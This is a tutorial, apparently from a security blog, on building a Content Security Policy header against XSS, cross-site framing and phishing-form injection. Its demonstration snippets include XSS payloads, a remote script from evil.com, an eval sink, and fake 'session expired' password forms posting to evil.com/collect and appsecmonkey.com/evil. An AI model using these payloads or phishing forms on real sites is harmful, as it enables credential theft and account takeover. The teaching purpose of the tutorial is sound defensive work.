Published on

Content Security Policy (CSP)

Authors
null

Learn about CSP, how it works, and why it’s awesome. You will build a content security policy header from scratch and learn how to overcome the usual problems on the way. Let's get started!

What is Content Security Policy (CSP)?

Content Security Policy is an outstanding browser security feature that can prevent XSS (Cross-Site Scripting) attacks. It also obsoletes the old X-Frame-Options header for preventing cross-site framing attacks.

What are XSS vulnerabilities?

XSS (Cross-Site Scripting) vulnerabilities arise when untrusted data gets interpreted as code in a web context. They usually result from:

  1. Generating HTML unsafely (parameterizing without encoding correctly).
  2. Allowing users to edit HTML directly (WYSIWYG editors, for example).
  3. Allowing users to upload HTML/SVG files and serving those back unsafely.
  4. Using JavaScript unsafely (passing untrusted data into executable functions/properties).
  5. Using outdated and vulnerable JavaScript frameworks.

XSS attacks exploit these vulnerabilities by, e.g., creating malicious links that inject and execute the attacker's JavaScript code in the target user's web browser when the user opens the link.

A simple example

Here is a PHP script that is vulnerable to XSS:

echo "<p>Search results for: " . $_GET('search') . "</p>"

It is vulnerable because it generates HTML unsafely. The search parameter is not encoded correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it:

https://www.example.com/?search=
<script>
  alert('XSS')
</script>

Opening the link results in the following HTML getting rendered in the user's browser:

<p>
  Search results for:
  <script>
    alert('XSS')
  </script>
</p>

Why are XSS vulnerabilities bad?

There is sometimes a misconception that XSS vulnerabilities are low severity bugs. They are not. The power to execute JavaScript code on a website in other people's browsers is equivalent to logging in to the hosting server and changing the HTML files for the affected users.

As such, XSS attacks effectively make the attacker logged in as the target user, with the nasty addition of tricking the user into giving some information (such as their password) to the attacker, perhaps downloading and executing malware on the user's workstation.

And it's not like XSS vulnerabilities only affect individual users. Stored XSS affects everyone who visits the infected page, and reflected XSS can often [spread like wildfire](https://en.wikipedia.org/wiki/Samy_(computer_worm).

How can CSP protect against XSS attacks?

CSP protects against XSS attacks quite effectively in the following ways.

1. Restricting Inline Scripts

By preventing the page from executing inline scripts, attacks like injecting

<script>
  alert("XSS)
</script>

will not work.

2. Restricting Remote Scripts

By preventing the page from loading scripts from arbitrary servers, attacks like injecting

<script src="https://evil.com/hacked.js"></script>

will not work.

3. Restricting Unsafe Javascript

By preventing the page from executing text-to-JavaScript functions (also known as DOM-XSS sinks), your website will be forced to be safe from vulnerabilities like the following.

// A Simple Calculator
var op1 = getUrlParameter('op1')
var op2 = getUrlParameter('op2')
var sum = eval(`${op1} + ${op2}`)
console.log(`The sum is: ${sum}`)

4. Restricting Form submissions

By restricting where HTML forms on your website can submit their data, injecting phishing forms like the following won't work either.

<form method="POST" action="https://evil.com/collect">
  <h3>Session expired! Please login again.</h3>
  <label>Username</label>
  <input type="text" name="username" />

  <label>Password</label>
  <input type="password" name="pass" />

  <input type="Submit" value="Login" />
</form>

5. Restricting Objects

And by restricting the HTML object tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.

How do I use it?

You can enforce a Content Security Policy on your website in two ways.

1. Content-Security-Policy Header

Send a Content-Security-Policy HTTP response header from your web server.

Content-Security-Policy: ...

Using a header is the preferred way and supports the full CSP feature set. Send it in all HTTP responses, not just the index page.

2. Content-Security-Policy Meta Tag

Sometimes you cannot use the Content-Security-Policy header if you are, e.g., Deploying your HTML files in a CDN where the headers are out of your control.

In this case, you can still use CSP by specifying a meta tag in the HTML markup.

<meta http-equiv="Content-Security-Policy" content="..." />

Almost everything is still supported, including full XSS defenses. However, you will not be able to use framing protections, sandboxing, or a CSP violation logging endpoint.

Building Your Policy

Time to build our content security policy header! I created a little HTML document for us to practice on. If you want to follow along, fork this CodeSandbox, and then open the page URL (such as https://mpk56.sse.codesandbox.io/ in Google Chrome browser.

This is the HTML:

<html>
  <head>
    <title>CSP Practice</title>
    <link rel="stylesheet" href="/stylesheets/style.css" />
    <link rel="preconnect" href="https://fonts.gstatic.com">
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap" rel="stylesheet">
  </head>

  <body>
    <h1>CSP Practice</h1>
    <script>
      console.log("Inline script attack succeeded.");
    </script>
    <script src="https://www.appsecmonkey.com/evil.js"></script>
    <script src="https://www.google-analytics.com/analytics.js"></script>
    <script
              src="https://code.jquery.com/jquery-1.12.4.js">
    </script>
    <h3>Cat fact: <span id="cat-fact"></h3>
    <script>
      $( document ).ready(function() {
        $.ajax({
            url: "https://cat-fact.herokuapp.com/facts/random",
            type: "GET",
            crossDomain: true,
            success: function (response) {
                var catFact = response.text;
                $('#cat-fact').text(catFact);
            },
            error: function (xhr, status) {
                alert("error");
            }
        });
        console.log(`Good script with jQuery succeeded`);
      });
    </script>
    <img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA
    AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
        9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Failed to show image." />
        <br/>
    <form method="POST" action="https://www.appsecmonkey.com/evil">
      <label>Session expired, enter password to continue.</label>
      <br/>
      <input type="password" autocomplete="password" name="password" placeholder="Enter your password here, mwahahaha.."></input>
      <input type="submit" value="Submit"/>
    </form>
  </body>
</html>

And we also have app.js which is a miniature express application for the purpose of setting the Content-Security-Policy header. Right now it's sending an empty CSP which does nothing.

var express = require('express')

var app = express()
const csp = ''

app.use(
  express.static('public', {
    setHeaders: function (res, path) {
      res.set('Content-Security-Policy', csp)
    },
  })
)
var listener = app.listen(8080, function () {
  console.log('Listening on port ' + listener.address().port)
})
the website

If you look at the console, there are a couple of messages.

Inline script attack succeeded.
Sourced script attack succeeded.
Good script with jQuery succeeded

At this point, the CSP header is not doing anything, so everything, good and bad, is allowed. You can also confirm that hitting "submit" in the password phishing form works as expected (the "password" is sent to appsecmonkey.com).

Great. Let's start adding security.

default-src

default-src is the first directive that you want to add. It is the fallback for many other directives if you don't explicitly specify them.

Start by setting default-src to 'self'. The single quotes are mandatory. If you just write self without the single quotes, it would refer to a website with the URL self.

let defaultSrc = "default-src 'none'"
const csp = [defaultSrc].join(';')

Now refresh the page and verify that everything has exploded, as expected.

exploded website

Open Chrome developer tools, and you will find that it's filled with CSP violation errors.

console errors

Note You will see violations for the CodeSandbox client hook "https://sse-0.codesandbox.io/client-hook-5.js". Just ignore these.

The page is now completely broken but also secure. Well, almost secure. The phishing form still works because the default-src directive does not cover the form-action directive. Let's fix that next.

form-action

form-action regulates where the website can submit forms to. To prevent the password phishing form from working, let's change the CSP like so.

let defaultSrc = "default-src 'none'"
let formAction = "form-action 'self'"
const csp = [defaultSrc, formAction].join(';')

Refresh the page, and verify that it works by trying to submit the form.

❌ Refused to send form data to 'https://www.appsecmonkey.com/evil' because it violates the following Content Security Policy directive: "form-action 'self'".

Beautiful. Works as expected.

frame-ancestors

Let's add one more restriction before we start relaxing the policy a little bit to make our page load correctly. Namely, let's prevent other pages from framing us by setting the frame-ancestors to 'none'.

let frameAncestors = "frame-ancestors 'none'"
const csp = [defaultSrc, formAction, frameAncestors].join(';')

If you check the CodeSandbox browser, you will see that it can no longer display your page in the frame.

console errors

Alright. Enough denying, let's allow something next.

style-src

Looking at the console, the next violations are:

❌ Refused to load the stylesheet 'https://lqil3.sse.codesandbox.io/stylesheets/style.css' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'style-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

❌ Refused to load the stylesheet 'https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap' because it violates the following Content Security Policy directive: "style-src 'self'". Note that 'style-src-elem' was not explicitly set, so 'style-src' is used as a fallback.

You can fix this with the style-src directive by allowing stylesheets to load from files hosted in the same origin and from google fonts.

...
let styleSrc = "style-src";
styleSrc += " 'self'";
styleSrc += " https://fonts.googleapis.com/";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc].join(";");

Refresh the page, and wow! Such style.

css works

Let's move on to images.

img-src

Instead of the beautiful red dot, we have the following error:

❌ Refused to load the image 'data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA%0A AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO%0A 9TXL0Y4OHwAAAABJRU5ErkJggg==' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'img-src' was not explicitly set, so 'default-src' is used as a fallback

We can fix our images with the img-src directive like so.

let imgSrc = 'img-src'
imgSrc += " 'self'"
imgSrc += ' data:'
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc].join(';')

We allow images from our own origin, and also we allow data URLs because they are getting increasingly common with optimized websites.

Refresh the page and... Yes! It's a red dot in all its glory.

the awesome red dot

font-src

As for our fonts, we have the following error.

❌ Refused to load the font 'https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'font-src' was not explicitly set, so 'default-src' is used as a fallback

We can make it go away by adding the font-src directive like so:

let fontSrc = 'font-src'
fontSrc += ' https://fonts.gstatic.com/'
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc].join(';')

script-src

Alright, now it gets real. The script-src is arguably the primary reason CSP exists, and here we can either make or break our policy.

Let's look at the exceptions. The first one is the "attacker's" inline script. We don't want to allow it with any directive, so let's just keep blocking it.

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-OScJmDvbn8ErOA7JGuzx/mKoACH2MwrD/+4rxLDlA+k='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

The second one is the attacker's sourced script. Let's keep blocking this one as well.

❌ Refused to load the script 'https://www.appsecmonkey.com/evil.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

Then there is Google analytics which we want to allow.

❌ Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

We also want to allow jQuery.

❌ Refused to load the script 'https://code.jquery.com/jquery-1.12.4.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

And finally, we want to allow the script that fetches cat facts.

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-dsERlyo3ZLeOnlDtUAmCoZLaffRg2Fi9LTWvmIgrUmE='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

Let's start with the easy ones. By adding Google analytics and jQuery URL to our policy, we can get rid of those two violations. Also, add 'self' to prepare for the next step (refactoring the cat facts script into a separate JavaScript file).

let scriptSrc = 'script-src'
scriptSrc += " 'self'"
scriptSrc += ' https://www.google-analytics.com/analytics.js'
scriptSrc += ' https://code.jquery.com/jquery-1.12.4.js'
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc, scriptSrc].join(';')

The preferred way to deal with inline scripts is to refactor them into their own JavaScript files. So delete the cat facts script tag and replace it with the following:

...
<h3>Cat fact: <span id="cat-fact"></h3>
<script src="/javascripts/cat-facts.js"></script>
...

And move the contents of the script into javascripts/cat-facts.js like so:

directory structure
$(document).ready(function () {
  $.ajax({
    url: 'https://cat-fact.herokuapp.com/facts/random',
    type: 'GET',
    crossDomain: true,
    success: function (response) {
      var catFact = response.text
      $('#cat-fact').text(catFact)
    },
    error: function (xhr, status) {
      alert('error')
    },
  })
  console.log(`Good script with jQuery succeeded`)
})

Now refresh, and... bummer. One more violation to deal with before we win!

connect-src

❌ Refused to connect to 'https://cat-fact.herokuapp.com/facts/random' because it violates the following Content Security Policy directive...

The connect-src directive restricts where the website can connect to, and currently, it is preventing us from fetching cat facts. Let's fix it.

let connectSrc = 'connect-src'
connectSrc += ' https://cat-fact.herokuapp.com/facts/random'
const csp = [
  defaultSrc,
  formAction,
  frameAncestors,
  styleSrc,
  imgSrc,
  fontSrc,
  scriptSrc,
  connectSrc,
].join(';')

Refresh the page. Phew! The page works, and the attacks don't. You can try the finished site here. This is what we came up with:

Content-Security-Policy: default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src 'self' https://fonts.googleapis.com/; img-src 'self' data:; font-src https://fonts.gstatic.com/; script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js; connect-src https://cat-fact.herokuapp.com/facts/random

Let's plug it into Google's CSP evaluator and see how we did.

csp evaluator good results

Pretty good. The yellow in the script-src is just because we used 'self' which can be problematic if e.g. host user-submitted content.

But this was a sunny day scenario where we were able to refactor the code and get rid of inline scripts and dangerous function calls. Now let's see what you can do when you are forced to use a JavaScript framework that uses eval or when you need to have inline scripts in your HTML.

script-src: hashes

If you can't get rid of inline JavaScript, as of Content Security Policy level 2, you can use script-src 'sha256-<hash>' to allow scripts with a specific hash to execute. Nonces and hashes are quite well supported, see here for details compatibility. At any rate, CSP is backward compatible as long as you use it right.

You can follow along by forking this CodeSandbox. It's the same situation as before, but this time we won't refactor the inline script into its own file. Instead, we'll add its hash to our policy.

You could get the SHA256 hash manually, but it's a bit tricky to get the whitespace and formatting right. Luckily Chrome developer tools provide us with the hash, as you might have already noticed.

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js". Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce ('nonce-...') is required to enable inline execution.

So let's just add that hash to our policy like so, and the page will work again.

...
scriptSrc += " 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='";
scriptSrc += " 'unsafe-inline'";
...

We also have to add the unsafe-inline for backward compatibility. Don't worry; browsers ignore it in the presence of a hash or nonce for browsers that support CSP level 2.

Note Using hashes is generally not a very good approach. If you change anything inside the script tag (even whitespace), by e.g. formatting your code, the hash will be different, and the script won't render.

script-src: nonce

The second way to allow specific inline scripts is to use a nonce. It's slightly more involved, but you won't have to worry about formatting your code.

Nonces are unique one-time-use random values that you generate for each HTTP response, and add to the Content-Security-Policy header, like so:

const nonce = uuid.v4()
scriptSrc += ` 'nonce-${nonce}'`

You would then pass this nonce to your view (using nonces requires a non-static HTML) and render script tags that look something like this:

<script nonce="<%= nonce %>">
        $(document).ready(function () {
  $.ajax({
    url: "https://cat-fact.herokuapp.com/facts/random",
    ...

Fork this CodeSandbox to play around with the solution I created with nonces and the EJS view engine.

WARNING Don't create a middleware that just replaces all script tags with "script nonce=..." because attacker-injected scripts will then get the nonces as well. You need an actual HTML templating engine to use nonces.

script-src: 'unsafe-eval'

If your own code, or a dependency on your page, is using text-to-JavaScript functions like eval, you might run into a warning like this.

❌ Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js".

If it's your own code, refactor it not to use eval. If it's a dependency, consult its documentation to see if a more recent version, or some specific way of using it, is compatible with a safe content security policy header.

If not, then you will have to add the unsafe-eval keyword to your script-src. This will forfeit the DOM-XSS protection that CSP provides.

scriptSrc += " 'unsafe-eval'" // cut my life into pieces this is my last resort

The situation will somewhat improve in the future with Content Security Policy Level 3, which lets you have more control of DOM-XSS sink functions, among other things. When browsers start supporting it properly, I will update this guide.

Report only mode

Deploying CSP to production for the first time can be scary. You can start with a Content-Security-Policy-Report-Only header, which will print the violations to console but will not enforce them. Then do all the testing you want with different browsers and eventually deploy the enforcing header.

CSP Tool

Our CSP tool can be used to generate content security policy (CSPv2) headers in a quick and painless way. You can try it here.

csp-tool

CSP level 3

With the advent of CSP level 3 we got some cool features, but unfortunately most of those features are not yet implemented on Firefox and Safari (especially Safari), so you have to be mindful when you use CSP level 3 features. With that said many major websites (Google included) already use them effectively so you can too.

For an up-to-date status of CSP browser support see this page.

strict-dynamic

Our example above was pretty simple so we had no problem using a CSP level 2 policy with it. But with a larger website it can become a hassle. Script X could load two more scripts Y and Z, that can still load more scripts. And you will have to explicitly allow each script, while trying to maintain a strict enough CSP to avoid bypass vulnerabilities. And the more scripts you have on your list the more you have to pray for the scripts loaded by other scripts not to suddenly change and break your website.

What the strict-dynamic keyword allows us to do is to propagate trust to all scripts that are loaded by a script that we already trust with either hashes or nonces.

Let's try it. The CodeSandbox here creates a CSP as follows:

let scriptSrc = 'script-src'
scriptSrc += ` 'nonce-${nonce}'`

So we allow nothing except for scripts with a nonce. Our view looks like this:

<script nonce="<%= nonce %>" src="/test.js"></script>

And test.js is a script that loads three more scripts:

function dynamicallyLoadScript(url) {
  var script = document.createElement('script')
  script.src = url
  document.head.appendChild(script)
}

dynamicallyLoadScript('https://code.jquery.com/jquery-3.6.0.min.js')
dynamicallyLoadScript('https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css')
dynamicallyLoadScript('https://d3js.org/d3.v6.min.js')

If we open this page in Firefox we get the following errors:

❌ Content Security Policy: The page’s settings blocked the loading of a resource at https://code.jquery.com/jquery-3.6.0.min.js (“script-src”). test.js:5:16

❌ Content Security Policy: The page’s settings blocked the loading of a resource at https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css (“script-src”). test.js:5:16

❌ Content Security Policy: The page’s settings blocked the loading of a resource at https://d3js.org/d3.v6.min.js (“script-src”). test.js:5:16

Now here is another CodeSandbox. This time we add one more thing to our script-src like so:

let scriptSrc = 'script-src'
scriptSrc += ` 'nonce-${nonce}'`
scriptSrc += " 'strict-dynamic'" // Propagate trust to scripts loaded by already trusted scripts

Now if we load the page we can see that the errors are gone because 'strict-dynamic' implies that the test.js script which is already trusted by the nonce is allowed to propagate that trust to any scripts that it loads.

But what if we open this page in Safari?

[Error] Refused to load https://code.jquery.com/jquery-3.6.0.min.js because it does not appear in the script-src directive of the Content Security Policy.

[Error] Refused to load https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css because it does not appear in the script-src directive of the Content Security Policy.

[Error] Refused to load https://d3js.org/d3.v6.min.js because it does not appear in the script-src directive of the Content Security Policy.

The scripts won't load because Safari doesn't support strict-dynamic yet. So what we need to do is add a fallback for Safari users to allow scripts loaded over HTTPS from anywhere.

let scriptSrc = 'script-src'
scriptSrc += ` 'nonce-${nonce}'`
scriptSrc += ` https:`
scriptSrc += " 'strict-dynamic'"

So now you have to decide. If you want to embrace CSP level 3 and go with the strict-dynamic stragegy, you are throwing Safari users under the bus. This is why I recommend sticking with CSP level 2 style policies for now until CSPv3 is actually supported.

This CodeSandbox will be safe on all major browsers except for Safari, and it will also not break the website on Safari.

unsafe-hashes

The 'unsafe-hashes' directive allows DOM event handlers to execute scripts that are whitelisted with hashes in script-src.

For example, we could allow alert("hello") via `script-src 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk=' like so.

let scriptSrc = 'script-src'
scriptSrc += ` 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='`

And now we could put this on the website and it would work:

<script>alert("hello")</script>

However, this wouldn't work on most browsers.

<button onClick='alert("hello")'>Hello</button>

Let's try it in Chrome:

❌ Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='".

Now let's add the 'unsafe-hashes' option.

let scriptSrc = 'script-src'
scriptSrc += ` 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='`
scriptSrc += ` 'unsafe-hashes'`

Now the script executes when the button is clicked. You can try it here or fork the CodeSandbox for playing around here

unsafe-hashes security considerations

The reason the directive is prefixed with unsafe- is that it allows for an XSS attack to call any functions that have been whitelisted with a hash.

Let's say there is a UI that looks like this:

<h1>Account Settings</h1>
<button id="btnDeleteAccount" onClick="deleteAccount();">DELETE YOUR ACCOUNT</button>

And the developer has whitelisted deleteAccount() with hash in script-src:

scriptSrc += " 'sha256-nh5C95kYk07xMaWT0ZEbfCqzCKDC1cpLP0hF+hqkYN4='"

Now what the attacker can do is inject a XSS payload like so:

<img src="x" onerror="deleteAccount();" />

And the user's account would be deleted.

For this reason it's much better to remove such inline event handlers and attach the handlers in trusted JavaScript code like so:

document.getElementById('btnDeleteAccount').addEventListener('click', function () {
  deleteAccount()
})

unsafe-hashes browser support

As you can see here, the browser support for unsafe-hashes is not very good yet.

script-src-elem & script-src-attr

As of CSP level 3 the script-src directive has been split into two: script-src-elem and script-src-attr. This gives you more granular control, as now you can use the script-src-elem to restrict script tags and script-src-attr to restrict inline event handlers.

These also are not supported by Firefox or Safari yet.

trusted-types & require-trusted-types-for

Now this is an interesting feature. Trusted types makes it possible for you to allow injection sinks when the input is created in a specific way. Confused? Bear with me, we'll walk through an example soon.

Injection sinks

Injection sinks refer to functions and properties that will directly result in JavaScript code execution when called with untrusted data. These include HTML injection sinks like element.innerHTML that allow for an attacker to modify HTML directly, and DOM XSS injection sinks such as eval() that allow for an attacker to execute arbitrary JavaScript code.

Trusted types

Trusted types is an API that allows applications to lock down powerful APIs to only accept non-spoofable, typed values in place of strings to prevent vulnerabilities caused by using these APIs with attacker-controlled inputs. It integrates with CSP in the form of the require-trusted-types-for and trusted-types directives.

Creating a policy

The require-trusted-types-for directive tells browsers not to allow JavaScript code to use any function or property categorized as an injection sink unless the type of the input used to call the function or property is a trusted type.

here is an example with the following policy:

let scriptSrc = 'script-src '
scriptSrc += " 'self'"
scriptSrc += " 'unsafe-inline'"
let requireTrustedTypesFor = 'require-trusted-types-for'
requireTrustedTypesFor += " 'script'"

Currently the only value you can give to require-trusted-types-for is script.

Then we have this HTML file loading a script:

<div id="htmlOutput"></div>
<script src="/test.js"></script>

And the contents of test.js are as follows:

let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"
document.getElementById('htmlOutput').innerHTML = payload

Now if we load the page in Firefox which doesn't support trusted types yet, the "attack" will succeed (because we specified unsafe-inline). You can verify this by opening this page in Firefox and by clicking the "CLICK ME" text.

However if we load it in Google Chrome that does support trusted types, the require-trusted-types-for kicks in and prevents the .innerHTML() call.

❌ test.js:2 Uncaught TypeError: Failed to set the 'innerHTML' property on 'Element': This document requires 'TrustedHTML' assignment.

Now it's time for the magic. We will define a policy called my-policy that we can use to create trusted types. First let's fix our CSP header to allow the policy. This is where the trusted-types directive comes in.

let requireTrustedTypesFor = 'require-trusted-types-for'
requireTrustedTypesFor += " 'script'"
let trustedTypes = 'trusted-types'
trustedTypes += ' my-policy'

The idea is that we only allow a policy called my-policy and we define it in the JavaScript code before an attacker has the chance to run any exploits (the policy cannot be altered once it has been created).

Now let's open test.js, define our policy and start using it!

// Define a sanitizer function
const mySanitize = (dirty) => dirty.replace(/</g, '&lt;')

// Define the policy, name it my-policy and make it call the sanitizer function in createHTML
// We also check if window.trustedTypes is defined to avoid errors on e.g. Firefox or Safari
const myPolicy =
  window.trustedTypes &&
  window.trustedTypes.createPolicy('my-policy', {
    createHTML(dirty) {
      return mySanitize(dirty)
    },
  })

let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"

if (myPolicy) {
  // If trusted types supported, we call the policy's createHTML function to return a trusted type
  payload = myPolicy.createHTML(payload)
} else {
  // If not then we sanitize anyway calling the sanitizer directly
  payload = mySanitize(payload)
}

document.getElementById('htmlOutput').innerHTML = payload

This simple policy HTML-encodes any < characters, making XSS attacks a bit more difficult. It's not a very good policy but it suffices for our example.

Now the page will load on both Firefox and Chrome, through Chrome will enforce the trusted types and Firefox will not. You can try it here or fork the CodeSandbox here

A more useful policy

Instead of creating our own policy, we can use the one already created by the DOMPurify library.

Let's start by creating a CSP that allows loading the DOMPurify script, requires trusted types for scripts and allows the policy defined by DOMPurify.

let scriptSrc = 'script-src '
scriptSrc += " 'self'"
scriptSrc += " 'unsafe-inline'"
scriptSrc += ' https://cdn.jsdelivr.net/npm/dompurify@2.2.8/dist/purify.min.js'
let requireTrustedTypesFor = 'require-trusted-types-for'
requireTrustedTypesFor += " 'script'"
let trustedTypes = 'trusted-types'
trustedTypes += ' dompurify'

Then we'll load DOMPurify in your page:

<script src="https://cdn.jsdelivr.net/npm/dompurify@2.2.8/dist/purify.min.js"></script>

And finally we'll use DOMPurify to sanitize our payload before using it.

let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"
document.getElementById('htmlOutput').innerHTML = DOMPurify.sanitize(payload, {
  RETURN_TRUSTED_TYPE: true,
})

That's it! The h1-tag will now display properly on both Firefox and Chrome, enforcing trusted types on Chrome, and sanitizing the HTML so that if you inspect the tag with developer tools, you will see that the onClick handler has been removed by DOMPurify.

<h1>CLICK ME</h1>

You can try it here and fork the CodeSandbox here.

Trusted types browser support

As of this writing trusted types are not yet supported by Firefox or Safari. See here for up-to-date status.

Conclusion

The content security policy header is an outstanding defense against XSS attacks. It takes a little bit of work to get right, but it's worth it.

It's always preferred to refactor your code so that it can run with a safe and clean policy. But when inline-scripts or eval cannot be helped, CSP level 2 provides us with nonces and hashes that we can use.

CSP level 3 has some pretty neat features but it's not yet very well supported by any other browser than Chrome and Edge so use it carefully.

Before deploying the enforcing policy to production, start with a report-only header to avoid any unnecessary grief.

Are you ready to see how deep the rabbit hole goes?

sponsored by Nixu Cybersecurity